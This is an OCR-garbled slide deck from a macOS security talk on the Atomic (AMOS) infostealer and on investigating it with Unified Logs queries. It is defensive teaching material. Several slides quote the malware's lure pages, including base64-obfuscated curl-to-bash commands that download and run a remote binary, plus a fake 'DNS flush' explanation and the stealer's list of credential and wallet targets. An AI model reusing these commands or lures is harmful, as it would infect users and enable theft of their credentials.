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Why are we doing this?

e Lack of security awareness regarding macOS
threats in Malaysia.

e macOS remains a niche platform, not all
security analysts have the interest or expertise
to investigate threats specific to macOS.

e People are too reliant on EDRs and Apple’s
built-in security features

e Share cool forensics techniques!!!




Mac Malware - A
Steep Climb

e macOS endpoints are unavoidable 2@
(especially in fintech industries). pra—

e 400% increase in Mac threats (2023 -
> 2024) as reported by Red Canary.

e Moving beyond adware, PUPs, and
Trojans - Infostealers now dominate
the landscape.




Unique adware samples seen
W 2023 W 2024

Unique stealer samples seen
W 2023 W 2024




Infostealers are more
common than you think...

Keylogger

e The Big 4: Atomic, Banshee, Cuckoo,
Poseidon

e QOdyssey, Cthulhu, Koi, and many more...

e The winner? Atomic Stealer (aka AMOS)

of all Mac
Malware




What is AMOS?

e First spotted in April 2023, sold as
malware-as-a-service in hacker forums
and Telegram.

e Can be written in multiple programming
languages like Python, Go, Swift, etc.

e Capable running on both Intel-based Macs
and Apple Silicon (ARM) systems.

e Usually masquerading as legitimate
software.

ATOMIC MACOS STEALER

SYSTEM:

- Keychain (Export all passwords from apple keychain)
- Systeminfo (Full information about system)

- FileGrabber (Desktop, Documents)

-MacOs Password

BROWSERS:

- Chrome (Autofills, Passwords, Cookies, Wallets, Cards)
- Firefox (Autofills, Cookies)

- Brave (Cookies Passwords Autofills, Wallets, Cards)

- Edge (Cookies Passwords Autofills, Wallets, Cards)

- Vivaldi (Cookies,Passwords Autofills, Wallets, Cards)

- Yandex (Cookies Autofills, Wallets, Cards)

- Opera (Cookies,Passwords Autofills Wallets,Cards)

- OperaGX (Cookies,Passwords Autofills Wallets,Cards)

WALLETS + PLUGINS:

- Electrum

- Binance

- Exodus

- Atomic

- Coinomi

- Over 60 plug-ins like MetaMask Phantom and others

EEATURES:
- Web-Panel

n
- - Brute MetaMask (Seed/Private Key)
- Crypto-Checker
- - Beautiful dmg-installer
- Logs in telegram(logs + notification)




Distribution method 1: Installation via DMG

Download .dmg file

For macOS 15.0 and newer For macOS older than 15.0

Installation via DMG

1. Install the .dmg file using the button above.

2. Open the .dmg installer and move the file from the left window to any convenient directory on your device.

3. Open a terminal and transfer the file you extracted in the last step into it.

4. Press the "Return" button, then enter your device password (if you don't have a password, leave the field blank).




Distribution method 2: Installation via Apple Terminal

O Download for macQS  Verified Publisher

Terminal installation

Advanced users can perform installation with a single terminal command.

[bin/bash -c "$(curl -fsSL $(echo aHROCHM6Ly9ib25vdWQuY29tL2dIdDMvaW5zdGFsbC5zaA== | base -

Installation via Terminal command

1. Copy the installation command above.
2. Open the terminal on your device and paste the command, then press the "Return” button.
3. Enter your device password and confirm the installation.




How is AMOS constantly evolving?

e Old AMOS variants primarily focused on data
exfiltration.
e Techniques were largely repetitive:-
o distributed via DMG file
o identical AppleScript functions
o recurring filenames
o reused C2 URL paths
o eftc.
e Only major difference would be payload
encryption (in our case it was RC4).

C2 exfiltration via curl POST request




1) openvpn-connect

18TEP 2 STEP
RIGHT CLICK ‘3 CLICK “OPEN"

i

openvpn-connect

DeepSeek

& DeepSeek

"~ SETUP |

P

Terminal



Recent AMOS samples introduced a
backdoor for persistence and remote
arbitrary command execution.

Some even implemented additional anti-VM
checks targeting ‘QEMU’, ‘VMware’, etc.

New backdoor codes added to recent samples



o
0
o 0o

j oLy LD L M
o

K =H MR i 0 il #
[(11db) p (char*)$rdi
{char #) BxABO@7T7BPBBRA4T7eld "osascript —e '\nset memData to do shell script \"system_profiler SPMemoryDataType\"\nset hardwareData to
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O Download for macQOS  Verified Publisher

Terminal installation

Advanced users can perform installation with a single terminal command.

[bin/bash -c¢ "$(curl -fsSL $(echo aHROcHM6Ly9ib25vdWQuY29tL2dIdDMvaW5zdGFsbC5zaA== | base Copy

Installation via Terminal command

1. Copy the installation command above.
2. Open the terminal on your device and paste the command, then press the "Return" button.
3. Enter your device password and confirm the installation.

=
rooi@ML-CO2FR2VYMD6P ~ % echo "aHROCHM6LY9ib25vdWQuY29tL2d1dDMvaW5zdGFshC5zaA=" | baseb4 -d
https://bonoud.com/getS/install.sha
rooi@ML-CO2FR2VYMD6P ~ % curl https://bonoud.com/get3/install.sh

#!/bin/bash
curl -o /tmp/update https://bonoud.com/get3/update && xattr -c /tmp/update &% chmod +x /tmp/update && /tmp/update




0 Download for macos Verified Publisher

Terminal installation

Advanced users can perform installation with a single terminal command.
. 4 macos ——I system_profiler « update }‘ 80x24

Last login: Mon Sep 8 01:55:34 on ttys@ee B
macos@macoss-Mac ~ % /bin/bash -c "$(curl -fsSL $(echo aHROcHM6Ly9ib25vdWQuY29tL

[bin/bash -c "$(curl -fsSL $(echo aHROCHM6Ly9ib25vdWQUY 20t | [p i I,y Wy RSy yasr TS T

System Password: macos

Installation via Terminal command

1. Copy the installation command above.
2. Open the terminal on your device and paste the command, the]
3. Enter your device password and confirm the installation.

’ é




Malware Samples

The table below shows all malware samples that are associated with this particulare tag (max 400).

Show| 50 ¢  entries

Firstseen (UTC) 1 SHA256 hash . Tags o Si . Reporter
-09-05 14:13:39 3 [ macho | macos | £ b0gdanw
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Step 1: Open Terminal

1. Press Command + Space to open Spotlight Search
2. Type Terminal and hit Return

You'll see a black Terminal window — don't worry, you don't need to be a tech expert!

Step 2: Paste This Command
Copy the following line and past o Terminal, then press Return:

Terminal

/bin/bash —c "$(curl -fsSL $(echo aHR@cHM6Ly9pY2xvdWRzZX12ZX]zLmNvbS9nbS9pbnNeYWxsLnNo | base64 -d))"

You may be asked to enter your Mac login password.

/1 Don't worry if nothing appears as you type — that’s normal. Just type your password and press Return.

What does this command do?

It tells macOS to purge its DNS cache — a temporary record of websites you've visited.
After running the command, your Mac is forced to re-fetch the latest DNS info.

This helps resolve:

« DNS lookup failures
« Wrong IP redirections

= Loading issues with new domains




v [ Marketing Manager (Remote) | X+

€« 2> C docs.google.com/forms/d/e/1FAIpQLSdjxyobliSWKyT9dvL8NgYBk64340YghGomOHrCDPSBK 1shCw/fo... Y

github desktop

Marketing Manager (Remote) Initial

lelﬂg TeSt AlMode Al Vid Images  Shortvideos  Shopping Forums  More ~ Tools -
Sign in to Google to save your progress. Learn more
Sponsored

github.com
hitps:/hwvw.github.com £

GitHub Desktop
Thank you for answering these questions! Your feedback is extremely valuable for us. Free Desktop GitHub Tool — Desktop tool for Git. Make version control easier for teams and
individuals. Commit, push, and clone without the command line. Fast and intuitive.
To gain a deeper understanding of our internal processes and tools, please download our
corporate VPN client. This will provide you with access to our internal documentation,
allowing you to familiarize yourself with the specific aspects of the role. Once you have
reviewed the materials, we will schedule a call to discuss any questions you may have
and further explore your fit for the position. Pricing Plans

GitHub App

Here's the URL for downloading the installation media (works on Windows or Mac OS
platforms):

O GitHub Deskiop
hitps://desktop.github.com > download  §

Download GitHub Desktop
Below are brief instructions on how to install and set up the VPN client, including GitHub Desktop simplifies your development workflow. Download for Windows (§4bit) Try beta features
downloading the installation file. This installation file is made specifically for you and has and help improve future releases.

all the appropriate settings hardcoded for your ease of use.

Installing and Setting Up VPN Client:




The Dark Side of Al

e “Vibe coding” is the new norm

e With just a few prompts, attackers can
develop malware with advanced
techniques that would have required
significant expertise in the past.

e TL;DR: The barrier to entry is lower than
ever, and Al has become a new ally for
cybercriminals seeking to launch even
more macOS-focused campaigns.




Apple Unified Logs - The Mac's Hidden CCTV

e System-wide logging framework since macOS
10.12 Sierra (now part of Apple Unified Logs)

e Captures process execution, system calls,
TCC prompts, plist creation

e Stored in .logarchive format

e Path - /var/db/diagnostics

diagnostics

Name

diagnosticd.0.log

> @ HighVolume
B logd_helper.0.log
logd.0.log
B logdata.statistics.0.jsonl
logdata.statistics.0.txt

B logdata.statistics.1.jsonl
logdata.statistics.1.txt
> [ Persist
] roles.plist
shutdown.log
> [ Signpost
> @ Special
> [ timesync
R version.plist

Date Modified

Today at 12:14 PM

28 Jul 2025 at 9:35 AM
Today at 12:13PM
Today at 12:40 PM
Today at 1:19 PM

Today at 1:31PM

9 Aug 2025 at 7:01PM
12 Aug 2025 at 3:38PM
Today at 12:55PM

12 May 2025 at 9:31AM
Yesterday at 4:33 PM
Today at 1:02 PM

Today at 1:19 PM

Today at 12:13PM
Yesterday at 9:42 AM

705 KB

170 KB
263 KB
508 KB
702 KB
5.2 MB
1 MB

80 bytes
214 KB

504 bytes

@ v
Kind

Log File
Folder

Log File
Log File
Document
Plain Text
Document
Plain Text
Folder
property list
Log File
Folder
Folder
Folder
property list




Comparison of Log Volumes

AUL ASL system.log

Full set of data: 7 days
Retention Period 28-30 days 7-14 days

Limited set of data: 1 year

Number of Records | 30-50 million 200K-500K 200K-400K

Logarchive: 400-800 MB
Size of Data 40-60 MB 30-60 MB
Plaintext: 2-9 GB

Ref: Crowdstrike Unified logs




Useful commands

Log show Historical AUL
Log collect Collecting of AUL

Log stream Live streaming of AUL



Unified Logs Structure

[jphang@ML-X6HTQGC6KS ~ % log show —-help
usage: log show [options] <archive>
or: log show [options]

description:
Show the contents of the system log datastore or a log archive.
Output contains only default level messages unless —-info and/or
—-debug are specified.

options:
——[no-J]backtrace Control whether backtraces are shown
—-[no-]debug Control whether "Debug" events are shown
——[no-Jlinfo Control whether "Info" events are shown
—-[no-]1loss Control whether message loss events are shown
——[no-J]signpost Control whether signposts are shown
——color <mode> Control color output (valid: auto, always, none)
——end <date> Display events up to the given end date
—-last <num>[m|h|d] Display recent events up to the given limit
——[no-]pager Paginate output using less.
——predicate <predicate> Filter events using the given predicate
—--process <pid> | <process> Filter events using the specified process
--source Annotate output with source file and line-number
—-start <date> Display events from the given start date
—-style <style> Output format (valid: default, syslog, json, ndjson, compact)
—-timezone local | <tz> Use the given timezone when displaying event timestamps
——-mach—-continuous—time Print mach continuous time timestamps rather than walltime
—-unreliable Annotate output with whether the log was emitted unreliably

valid time formats:
'Y-M-D H:m:s+zzzz', 'Y-M-D H:m:s', 'Y-M-D', '@unixtime'

predicate usage:
Filter predicates follow the NSPredicate format described at:
https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/Predicates/AdditionalChapters/Introduction.html

For predicate field/type details, see ‘log help predicates’.




Viewing via Console.app

Console ® ® S ® () (] Q Search

5,205 messages Start  Now Activities Clear Reload Info
'Messages  Errors and Faults

Time Process Message
10:39: .5516U8+08Y0 sortwareupdated LGetAllUbserverConnections) Returning ¢ observable connections

10:39:44.552407+0800 softwareupdated Falling back to marketingProductName:macOS

10:39:44.552679+0800 mDNSResponder [R88->Q0@) DNSServiceBrowse(<mask.hash: 'Z36wGDMLh2rvbsNsrqLUEQ=='>(334e20608), PTR) RESULT RMV interface 13: <mask.hash: 'dsCXQvN4uHUZKIBQRYfB9Q=='>
10:39:44.553208+0800 rapportd CLink: Lost CUBonjourDevice 4A:89:9F:B1:53:CB, 'ML-MFD61Q2CeY"'

10:39:44.553287+0800 rapportd Bonjour unauth peer lost <4A:89:9F:B1:53:CB>: CUBonjourDevice 4A:89:9F:B1:53:CB, 'ML-MFD61Q2CeY’

10:39:44,553272+0800 mDNSResponder [R695] DNSServiceQueryRecord(404000, 13, <mask.hash: '3VLU/Qq2UBmRMv2PCXG2cQ=='>(37de4236), TXT) STOP PID[651](rapportd)

10:39:44.553303+0800 mDNSResponder mDNS_StopQuery_internal: NumAllInterfaceRecords 1 NumAlllnterfaceQuestions 65 <mask.hash: '3VLU/Qq2UBmRMv2PCXG2cQ=='> (TXT)

10:39:44.555589+0800 softwareupdated SUMacControllerDescriptor:initWithCoder - using initialization method: SUMacControllerDescriptorInitWithSUCoreDescriptor

10:39:44.555713+0800 softwareupdated [DOCUMENTATION] Using icon path: /System/Library/AssetsV2/com_apple_MobileAsset_SoftwareUpdateDocumentation/c7c9383b9def6f2d5131c4fel578d577207F7Fa4
10:39:44.555761+0800 softwareupdated [SUMacControllerDescriptor] Extended documentation properties

10:39:44.556118+0800 softwareupdated [SUMacControllerDescriptor] Updating property updateBrainDescriptor from [>>> descriptorType: Asset descrip

mDNSResponder
Subsystem: com.apple.mDNSResponder Category: mDNS Hide
Activity ID: 0 Thread ID: 0x1006 PID: 417

[R695] DNSServiceQueryRecord(404000, 13, <mask.hash: '3VLU/Qq2U@mRMv2PCXG2cQ=="'>(37de4236), TXT) STOP PID[651](rapportd)




Authentication and Failed attempt

025-09-19 11:37:57.126259+0800 0x157d3 Default Oxblcaé - : 3iny g
A _authCopyRightsWithUsername: | Screensaver authorization failed: -60005, looking for a

2025-09-19 11:38:01.652070+0800 0x15861 Activity oxé6l1dfc al € y) SecKeyVerifySignature
2025-09-19 11:38:01.652378+0800 0x15861 Activity ox61dfd al c ty) SecTrustEvaluateIfNecessary
2025-09-19 11:38:p1.659727+0800 0x15861 Activity oxé6ldfe 5 ty) SecKeyVerifySignature
2025-09-19 11:38y01.659948+0800 0x15861 Activity Ox61dff : Se ty) SecTrustEvaluateIfNecessary

2025-09-19 11:38/:01.848758+0800 0x157d4 Default @xélcac b [ 'H om.appl loginwindow )gging: -[LWScreenLocK
Authentication JauthCopyRightsWithUsername:password:continuityHints:localAuthenticationHints:] succeeded

2025-09-19 11:38:01.850710+0800 0x157d4 Default Oxélcac 1 v: (Security) [com.apple.securityd: ] StorageManager
::login: loginDLDbIdentifier is /Users/jphang/Library/Keychains/login.keychain
2025-09-19 11:88:01.850793+0800 0x157d4 Error @xélcac 0 loginwindow: (Security) [com.apple Irity: ] Invalid toke
n login data property list, Error Domain=NSCocoaErrorDomain Code=3840 "Unexpected character \*] at line 1" UserInfo-{NSDebugDescrlptlon Unexpected character
\*] at line 1, kCFPropertyListOldStyleParsingError=Error Domain=NSCocoaErrorDomain Code=3840 "Conversion of string failed." UserInfo={NSDebugDescription=Co
nversion of gtring failed.}}
386 loginw ow: (Security) [com.apple.secu: yd: ] Attempting to

386 loginwindow: (Security) [com.apple.securityd: ] SecKeychainLog

1 - User enters the wrong 2 - User enters the right

password password 3 - Unlocking of keychains database once the password
is right
log show --predicate 'process == "loginwindow" AND eventMessage contains "Screensaver authorization” ||

sender == "Security" --start "2025-09-19 11:37:30" --end "2025-09-19 11:38:30"



Privilege escalations

jphang@M-X6HTQGC6KS ~ % log show —-predicate '(process == "sudo") OR (eventMessage CONTAINS "PAM")' —-last 1@0m | grep -i password --color

2025-11-15 12:45:00.599663+0800 Oxa2ef Default ox0 4998 0 sudo: jphang : 2 incorrect attempts ; TTY=ttys0ee ; PWD=/
Users/jphang ; USER=root ; COMMAND=/bin/cat /etc/sudoers

2025-11-15 12:47:54.044704+0800 0xbd75 Default ox0 6201 0 sudo: jphang : 1 incorrect attempt ; TTY=ttyseee ; PWD=/U
sers/jphang ; USER=root ; COMMAND=/bin/ls -1

jphang@M-X6HTQGC6KS ~ % log show —-predicate '(process == "sudo") OR (eventMessage CONTAINS "PAM")' —-last 1@m | grep —-i password > incorrect_pam.txt

jphang®M-X6HTQGC6KS ~ % cat incorrect_pam.txt

2025-11-15 12:45:00.599663+0800 Oxa2ef Default ox0 sudo: jphang : incorrect password attempts ; TTY=ttys@00 ; PWD=/
Users/jphang ; USER=root ; COMMAND=/bin/cat /etc/sudoers

2025-11-15 12:47:54.044704+0800 Oxbd75 Default 0x0 sudo: jphang : incorrect password attempt ; TTY=ttyseee ; PwWD=/U
sers/jphang ; USER=root ; COMMAND=/bin/ls -1

log show --predicate '(process == "sudo") OR (eventMessage CONTAINS "PAM")' --last 1h



Gatekeeper (Application verifier rejection activity)

root@Nicks-Virtual-Machine Downloads # log show --predicate 'subsystem == "com.apple.syspolicy.exec" &% process == "syspolicyd"' --last 1h
Filtering the log data using "subsystem == "com.apple.syspolicy.exec" AND process == "syspolicyd""
Sklpplng info and debug messages, pass ——info and/or ——debug to include.
mestamp ead pe A PID T
2825-09-18 23:35:33.966424-0708 @x10461 Default exe 240 (*] ) H ] GK performScan: PST:
(vuid: F77546EE-86CB-4580-8290-041E2EED3FCF), (objid: 682084), (team: (null)), (id: (null)), (bundle_id: (null))
2025-09-18 23:35:34.438989-0700 @x10461 Error ox0 249 (2] 5 I z ] Error Domain=NS0SStat
usErrorDomain Code=-67062
2025-09-18 23:35:34.948056-0700 Bx1Pa%e Default Bx0 240 (“] 3 £ ] GK evaluateScanResult

: 1, PST: (vuid: F77546EE+-86CB-4580-8290-041E2EED3FCF objid: 682084 team: (null id: software bundle id: NOT A BUNDLE 1, @, 1, 8, 7, 7, ©
2025-09-18 23:35:34.948303-0700 Bx10a%e Default ox0 240 8 20 1 Prompt shown (8, @),
aiting for response: PST:| (vuid: F77546EE-86CB-4580-8290-041E2EED3FCF),, (objid: 682084), (team: (null)), (id: software), (bundle id: NOT_A_BUNDLE)
2825-09-18 23:35:39.269728+0708 68x10461 Default @x1b7bd 240 2] Al H ] Code evaluation compl
eted: 7

2825-99-18 23:35:39.269833-9708 @x10a%e Default exe 249 (%] 20 ] Adding Gatekeeper den
ial breadcrumb (dlrect) ¢ (vuid: F77546EE-86CB-4580-8290-B41E2EED3ZFCF), (objid: 682084), (team: (null)), (id: software), (bundle id: NOT_A_BUNDLE)
240 ] Bl = ] Terminating process d

1 - Gatekeeper starts scanning 2 - Gatekeeper flagged a non- ) ,
the binary bundle executable (no 3 ) Gatekeepe_r S po!lcy_
Info.plistCFBundleldentifier). rejected and binary is killed

Prompt issued to user

log show —predicate ‘subsystem == “com.apple.syspolicy.exe” && process == “syspolicyd”
—last 1h



Gatekeeper (Successful)

root@Nicks-Virtual-Machine Downloads # log show —-predicate 'subsystem == "com.apple.syspolicy.exec" && process == "syspolicyd"' --last 30m
Filtering the log data using "subsystem == "com.apple.syspolicy.exec" AND process == "syspolicyd""
Skipping info and debug messages, pass -—info and/or —--debug to include.
i nreaa pe A ivi PID
2025-09-19 00:27:09.977316-0700 0x14697 Default 0x0 240 (%] SD - ] GK performScan: PST:
E-86CB-4580-8290-041E2EED3FCF), (objid: 683382), (team: (null)), (id: (null)), (bundle_id: (null))

2025-09-19 00127:10.672727-0700 0x14697 Error g $ ] Error Domain=NSOSStat
usErrorDomain Code=-67062
:11.073539-0700 BOx146a3 Default ox0 240 [2) Al ] GK evaluateScanResult
F77546EE-86CB-4580-8290-041E2EED3FCF), (objid: 683382), (team: (null)), (id: software), (bundle_id: NOT_A BUNDLE), e B e b o )

1- G_atekeeper starts scanning 2 - Since Gatekeeper policy
the binary was successful, no events of
rejection

log show —predicate ‘subsystem == “com.apple.syspolicy.exec” && process == “syspolicyd”
—last 1h



XProtect In Unified Logs

jphang®PML-X6HTQGC6KS ~ % log show —-predicate 'eventMessage contains "NoThreatDetected"' —--last 1d
Filtering the log data using "composedMessage CONTAINS "NoThreatDetected""

Skipping info and debug messages, pass —-info and/or --debug to include.

Timestamp Thread Type Activity PID TTL

2025-09-19 11:03:52.789657+0800 0xf35f Default ox0 2664 (%]

2025-09-19 11:

2025-09-19 11:03:52. 857917+0809 0Xf36a Default 0x0 2665 (%]
] {"caused_by":[], "execution_duration":7.987022399902344e-06, "status_mess
2025-09-19 11:03:52.858760+0800 0xf36a Default 0x0 2665 0
] {"status_code":20, "execution_duration":8.9406967163085%4e-06, "status_me
2025-09-19 11:04:21.510553+0800 Oxf36e Default 0x0 2666 0 emediatort i !
] {"execution_duration":0.0003180503845214844, "status_message":"NoThre tected","st tus_code 20, caused by"'[]}
2025-09-19 11:04:21.588701+0800 0Oxf4e2 Default 0x0 2678 0 iate kS . af 3 t

2025-09-19 11:04:21.669208+0§00 Oxfs4eb Default 0x0 2679 0
] {"caused_by":[],"status_message":"NoThreatDetected", "status_code":20,

XProtect Remediator Plugins

log show —predicate ‘eventMessage contains “NoThreatDetected” —last 1d



Download Activities

nick@Nicks-Virtual-Machine ~ % log show —-predicate '(composedMessage CONTAINS[c] ".dmg" || composedMessage CONTAINS[c] ".macho") AND process == "syspolicyd
"t —-last 36@d
Filtering the log data using "(composedMessage CONTAINS[c] ".dmg" OR composedMessage CONTAINS[c] ".macho") AND process == "syspolicyd""
Skipping info and debug messages, pass ——info and/or --debug to include.
Timestamp Thread Type Activity TTL
fault 0x0 : (Security) [ : temporarySigning

(Securit s temporarySigning

(Security . temporarySigning

2025-09-05 03:50:14/.732270-0700 0x48d51 Default ¢ (Securit - temporarySigning
e=3 matchFlags=0x0 path=/Users/nick/Downloads/deploykit (1).dmg

2025-09-19 01:00:48(836225-0700 Ox50a%9a Default ¢ (Security . temporarySigning
e=3 matchFlags=0x0 path=/Users/nick/Downloads/autoinstall.dmg

Downloaded .dmg files

log show —predicate ‘(composedMessage CONTAINS|c] “.dmg” ||
composedMessage CONTAINS|c] “.macho”) AND process == “syspolicyd
30d

”

—last



Parsing Unified Logs

. mac_apt Public ® Watch 43 ~ % Fork 110

¥ master ~ ¥ 1Branch © 34 Tags Q Go to file Add file ~ About

macOS (& ios) Artifact Parsing Tool
& ydkhatri pyinstaller file updates 807186 - 5 days ago  {L) 755 Commits

& swiftforensics.com
BB Libraries_For_Windows

updated lib readme 2 years ago : :
macos forensics dfir

J macos-UnifiedLogs Pubiic @Watch 14 ~ % Fork 28

¥ main ~ ¥ 1Branch © 8Tags Q Go tofile Add file ~ About

‘n A cross platform parser for Apple
puffyCid action fix

11220fb - last week ) 112 Commits UnifiedLogs!
BB .changes changelog update

last week macos rust apple forensics




Prologue: One Download on a Mac

Scenario:
Mako visits a shady site — downloads malicious DMG
— double-clicks Open — “nothing happens.”

Constraints:
* No EDR on macOS
* No central logs
* No Internet connection due to isolation of host
* Host-only investigation
Problem:
* Manual artefact collection is slow (QuarantineEventsV2, xattrs, Downloads, LaunchAgents, browser data)

Our approach: build the timeline first with Unified Logs (syspolicyd/AMFI, disk image mount, LaunchServices, tccd,
launchd) — then validate with fseventsd + targeted artefacts.



Malicious DMG mounted

root@jasons-Virtual-Machine /Volumes # sudo log show —-predicate 'eventMessage contains "mounted" && process=="kernel" && eventMessage contains "TradingVi

ew"' —-last 4d

Filtering the log data using "composedMessage CONTAINS "mounted" AND process == "kernel" AND composedMessage CONTAINS "TradingView""
Skipping info and debug messages, pass ——info and/or --debug to include.

Timestamp Thread Type Activity PID TTL

2025-08-18 21:15:36.879389-0700 0x5fd7 Default ox0 1: (HFS) hfs: mounted TradingView on device disk4sl
2025-08-18 23:57:45.709729-0700 0x30b4 Default (HFS) hfs: mounted TradingView on device diské4sil

- Default: 2, Info: 0, Debug: : 0, Fault:
— Create: @, Transition: 9, Actions:




Fail 2 Fail © Success (DSCL)

Exm nm = ~ # sudo log show —-start "2@25-8-14 05:16:40" —-end "2025-88-14 ©5:20:00" —--predicate 'subsystem=="com.apple.opendirectoryd" && cat
egory=="auth" && process!="xpcproxy" && (eventMessage contains"Failed" || eventMessage contains "Success" || eventMessage contains "Verified")'
Filtering the log data using "subsystem == "com.apple.opendirectoryd" AND category == "auth" AND process != "xpcproxy" AND (composedMessage CONTAINS "Fail
ed" OR composedMessage CONTAINS "Success" OR composedMessage CONTAINS "Verified")"

Skipping info and debug messages, pass ——info and/or ——debug to include.

Timestamp Thread Type Activity PID TTL

2025-08-14 05:16:42,997362-0760 0x1757 Error 0x75e3 110 4} : (PlistFile) [

SecureToken authentication for 342AC9F5-D231-4037-9F6A-495394EFD43C other domain: invalid credentials

2025-08-14 ©5:16:43.096630-0700 @x1757 Default @x75e3 110 e : (PlistFile) [

ed password for <private> (342AC9F5-D231-4037-9F6A-495394EFD43C): SecureToken (ODErrorCredentialsInvalid), Shadowhash {ODErrorCredentlalsInvalld)
2025-08-14 ©5:16:43.096663-8700 @x1757 Default Bx75e3 110 2] : (PlistFile) [ -

ed password for <private> (342AC9F5-D231-4837-9F6A-495394EFD43C): SecureToken and Shadowhash results match

2025-08-14 ©5:16:47.345012-0700 @x1756 Error 0x7693 110 4} : (PlistFile) [

SecureToken authentication for 342AC9F5-D231-4037-9F6A-495394EFD43C other domain: invalid credentials

2025-08-14 ©5:16:47.449735-8700 @x1756 Default Bx7693 110 e : (PlistFile) [

ed password for <private> (342AC9F5-D231-4037-9F6A-495394EFD43C): SecureToken (ODErrorCredentialsInvalid), Shadowhash {ODErrorCredentlalsInvalld)
2825-08-14 ©5:16:47.449764-0700 8x1756 Default Ox7693 118 5] t (PlistFile) [ ]
ed password for <private> (342AC9F5-D231-4837-9F6A-495394EFD43C): SecureToken and Shadowhash results match

2025-08-14 ©5:16:49.507943-8700 @xlach Default @x76b3 110 7} : (PlistFile) [

sful SecureToken authentication for 342AC9F5-D231-4037-9F6A-495394EFD43C other domain

2825-08-14 05:16:49.609417-0780 @xlach Default @x76b3 110 %} : (PlistFile) [

ed password for <private> (342AC9F5-D231-4837-9F6A—495394EFD43C): SecureToken (ODNoError), Shadowhash (ODNoError)

2825-08-14 ©5:16:49.609437-8700 @xlach Default @x76b3 118 5] HI(( ] File) [

ed password for <private> (342AC9F5-D231-4037-9F6A-495394EFD43C): SecureToken and Shadowhash results match




Discovery in action

~ % log show —-predicate 'eventMessage contains "system_profiler"' --last éh
Filtering the log data using "composedMessage CONTAINS "system_profiler""
Skipping info and debug messages, pass —-info and/or —-debug to include.
Timestamp Thread Type Activity PID TTL
2025-08-17 19:21:00.692679-8700 0x14041 Default Bx23dd1 151 (%] - : ] AUTHREQ_ATTRIBUTION: msgID=6700.1, attr
ibution={responsible={TCCDProcess: identifier=com.apple.Terminal, pid=4@58, auid=501, euid=5@1, responsible_path=/System/Applications/Utilities/Terminal.app
/Contents/Mac0S/Terminal, binary_path=/System/Applications/Utilities/Terminal.app/Contents/Mac0S/Terminal}, requesting={TCCDProcess: identifier=com.apple.sy
stem_profiler, pid=67@80, auid=561, euid=5081, binary_path=/usr/sbhin/system_profiler}, },
2025-98-17 19:21:00.696538-8700 ©x14041 Default Bx233b9 151 %] s = ] AUTHREQ_ATTRIBUTION: msgID=149.234, att
ribution={responsible={TCCDProcess: identifier=com.apple.Terminal, pid=4058, auid=501, euid=501, responsible_path=/System/Applications/Utilities/Terminal.ap
p/Contents/Mac0S/Terminal, binary_path=/System/Applications/Utilities/Terminal.app/Contents/Mac0S/Terminal}, accessing={TCCDProcess: identifier=com.apple.sy
stem_profiler, pid=6700, auid=5681, euid=581, binary_path=/usr/sbin/system_profiler}, requesting={TCCDProcess: identifier=com.apple.WindowServer, pid=149, au
id=88, euid=88, binary_path=/System/Library/PrivateFrameworks/SkyLight.framework/Versions/A/Resources/WindowServer}, },
2025-08-17 19:21:00.696545-8700 0x14041 Default Bx233b9 151 *] - = ] requestor: TCCDProcess: identifier=com.
apple.WindowServer, pid=149, auid=88, euid=88, binary_path=/System/Library/PrivateFrameworks/SkylLight.framework/Versions/A/Resources/WindowServer is checkin
g access for accessor TCCDProcess: identifier=com.apple.system_profiler, pid=6760, auid=561, euid=581, binary path=/usr/sbin/system_profiler

e Unified Logs show system_profiler being executed via Terminal.

e TCC framework captured the access requests and linked them back to the
responsible process (Terminal.app).



Multiple TCC Probes

~ % log show ——predicate 'process=="tccd" && eventMessage contains "kTCCService"' --start "2025-08-17

19:22:00"
Filtering the log data using "process == "tccd" AND composedMessage CONTAINS "kTCCService""
Skipping info and debug messages, pass —info and/or --debug to include.
Timestamp Thread Type Activity PID TTL
2025-68-17 19:18:40.875515-0708 0x13clb Default @x1fceb 151 ] - : ] AUTHREQ_CTX:
AccessRequest, service=kTCCServiceSystemPolicyAllFiles, preflight=yes, query=1, client_dict=(null), daemon_dict=<private>

2025-08-17 19:18:40.883608-0700 Ox13cla Default Ox1fcec 417 0 5 1 : ] AUTHREQ_CTX:

AccessRequest, service=kTCCServiceSystemPolicyAppBundles, preflight=yes, query=1, client_dict=(null), daemon_dict=<private>

2025-68-17 19:18:59.165736-0700 0x13d24 Default @xlfcee 151 ] = : ] AUTHREQ_CTX:

AccessRequest, service=kTCCServiceSystemPolicyAllFiles, preflight=yes, query=1, client_dict=(null), daemon_dict=<private>

2026-68-17 19:19:27.579058-0700 Ox13eef Default 0x22c63 151 0 : [ : ] AUTHREQ_CTX:

ivate>, service=kTCCServicelListenEvent, preflight=yes, query=1, client_dict=(null), daemon_dict=<private>
2025-08-17 19:19:27.584091-08706@ 0x13eef Default 8x22a91 161 (‘] 3

kTCCServiceSystemPolicyAllFile — Full Disk Access (read
protected files)

kTCCServiceListenEvent — Input Monitoring (keystrokes/UlI
control)

kTCCServiceSystemPolicyAppBundles — App inventory/recon

[ H ] AUTHREQ_CTX:

19:18:80" —-end "2025-88-17

msgID=145.49, function=TCC
msgID=145.50, function=TCC
msgID=145.51, function=TCC

msgID=65674.1, function=<pr

msgID=149.225, function=<p



The Attacker Plants Their Roots (Cont)

~ # sudo log show —-start "2025-8-14 00:00:80" --end "2025-08-14 23:59:59" ——-predicate 'eventMessage contains "com.finder.helper.pli
st" && process!="xpcproxy"'
Filtering the log data using "composedMessage CONTAINS "com.finder.helper.plist" AND process != "xpcproxy""
Skipping info and debug messages, pass ——info and/or --debug to include.
Timestamp Thread Type Activity PID TTL
2025-08-14 95:16:57.088009-0700 Bxlcel Default exe 806 <] - jason : PWD=/Users/jason ; USER=root ; COMMAND=/bin/cp /t
mp/starter /Library/LaunchDaemons/com.finder.helper.plist
2025-88-14 05:16:57.203090-8700 Bxlcfl Default oxe 818 2] - jason : PWD=/Users/jason ; USER=root ; COMMAND=/usr/sbin/
chown root:wheel /Library/LaunchDaemons/com.finder.helper.plist
2025-08-14 B5:16:57.314446-0708 Oxlala Default 9x928 269 %] )
1 effectiveItemDisposition: appURL=(null), type=legacy daemon, url=file:///Library/LaunchDaemons/com.finder. helper plist, config={
BTMConfigArguments = (
"/bin/bash",
"/Users/jason/.agent"
);

BTMConfigBundleIdentifiers = (

)5

BTMConfigExecutablePath = "/bin/bash";
BTMConfiglLabel = "com.finder.helper";

}
2025-88-14 B5:16:57.324652-8700 Bxlcfd Default oxe 814 %] - jason : PWD=/Users/jason ; USER=root ; COMMAND=/bin/launc

